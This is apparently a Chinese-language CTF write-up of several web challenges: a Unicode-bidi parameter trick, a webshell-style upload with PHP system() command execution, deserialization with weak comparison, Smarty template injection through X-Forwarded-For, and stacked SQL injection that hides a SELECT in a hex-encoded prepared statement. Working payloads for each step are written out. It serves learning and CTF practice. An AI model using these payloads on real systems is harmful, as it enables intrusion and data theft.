简单的一道代码审计了 但是发现传参传不上去
后来发现 在选中nisactf的时候,注释里面的内容也被标记了
不知道是为什么,把它复制到010里边去看看
发现了不对的地方
nisactf应该传参
根据这个进行url编码
我们选择实际的参名和字符串,并转为url编码格式(每两位前加%)
最后构造的payload
/?ahahahaha=jitanglailo&%E2%80%AE%E2%81%A6%55%67%65%69%77%6F%E2%81%A9%E2%81%A6%63%75%69%73%68%69%79%75%61%6E=%E2%80%AE%E2%81%A6%20%46%6C%61%67%21%E2%81%A9%E2%81%A6%4E%31%53%41%43%54%46
得到flag
查看源代码得到了默认账户
用admin登录
登录之后看到了文件上传,还没有限制,直接传码,
到这里有两种方式,一个是连蚁剑,第二个是命令执行,我用的第二种
开始命令执行·
zxc=system('ls /');
zxc=system('cat /flag'); 得到flag
用双引号可以对字符串进行变量替换,比如system(“ls $a“),那$a变量的值会被替换到命令中,用单引号就是完全按照字面意义解析字符串,$a不会进行变量替换而是当作字符串进行解析,命令参数是固定的字符串一般来说用单双引号都行,用单引号更安全,末尾加分号是php的语法规则
PHP中单引号和双引号的区别与作用-php教程-PHP中文网
这里是之前考虑过的问题,有师姐的解释以及我自己找的资料,关于单双引号的区别和作用
提示说源代码里面有什么,但是点不开源代码,直接抓包得到了flag
在阵亡的时候弹出来了flag
是js前端的代码,但是我也没仔细找
代码审计+反序列化
就是构造username和password两个的反序列化 然后用info传参就ok
我们先构造出我们需要的数组的序列化字符串
这里构造的时候要用到array这个关联数组的语法
传参:?info=
a:2:{s:8:"username";s:14:"this_is_secret";s:8:"password";s:24:"this_is_not_known_to_you";}
发现没绕过去,看flag.php那行的注释,说会改变上传的两个值
if语句中使用双等号判断,可以想到使用弱比较
字符串在和数字比较的时候会将字符串转化为数字,当字符串开头没有数字时,则转化失败为false
在构造一下
传参 得到flag
随便尝试一下,发现api usage会随着url变,再结合标签 确定是ssti注入
在看看他是什么模板的注入,这步可以注入来看结果,题里边直接给了是smarty模板
具体的可以去看我的博客 php中的ssti
找到注入点
开始注入我用的是{if}{/if}注入,X-Forwarded-For:{if system('ls /')}{/if}
{if system('cat /flag')}{/if} 得到flag
sql 注入,先注入看看
万能密码 回显正常
回显正常
回显出错
注入到这里可以知道参数使用单引号闭合
开始注入
这里先给大家介绍一下堆叠注入
平常我们注入时都是通过对原来sql语句传输数据的地方进行相关修改,注入情况会因为该语句本身的情况而受到相关限制,例如一个select语句,那么我们注入时也只能执行select操作,无法进行增、删、改,其他语句也同理,所以可以说我们能够注入的十分有限。但堆叠注入则完全打破了这种限制,其名字顾名思义,就是可以堆一堆sql注入进行注入,这个时候我们就不受前面语句的限制可以为所欲为了。其原理也很简单,就是将原来的语句构造完后加上分号,代表该语句结束,后面在输入的就是一个全新的sql语句了,这个时候我们使用增删查改毫无限制。
堆叠注入的使用条件十分有限,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。
这道题就可以使用堆叠注入,因为过滤了很多东西,就可以考虑用堆叠注入
用union select注入,来呢注入查询发现限制
开始堆叠注入,发现有回显
查表
查列
注意:这里使用的是反引号而不是双引号,这两个在Linux下不区分,但在Windows下区分。
单引号或者双引号主要用于字符串的引用符号。
数据库、表、索引、列和别名的引用符是反勾号。
有MySQL保留字作为字段的,必须加上反引号来区分,如果是数值,不能使用引号。
查数据
正常查数据应该用
1' ;select flag from `1919810931114514` 但是这道题给select过滤掉了,所以就用16
进制的来绕过
1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
得到flag
当然这题还有其他的解法,比如不用select进行注入,在转换16进制的时候不转换 而是利用word表,将flag信息写进word表里
BUUCTF[强网杯 2019]随便注 的三种解法-CSDN博客 大佬博客
进入这个界面,发现不能看源码以及js代码,先抓包
没看到什么有用的信息
右击页面进行检查,他让坚持一分钟,那直接找一下,把值改掉就得了
找了半天,发现这个比较像,getscore
看大佬的wp才知道要用
Snake.prototype.getScore = () => 61
来调用函数,js不懂的地方太多了
在控制器里运行一下,在摁空格启动游戏就出来了flag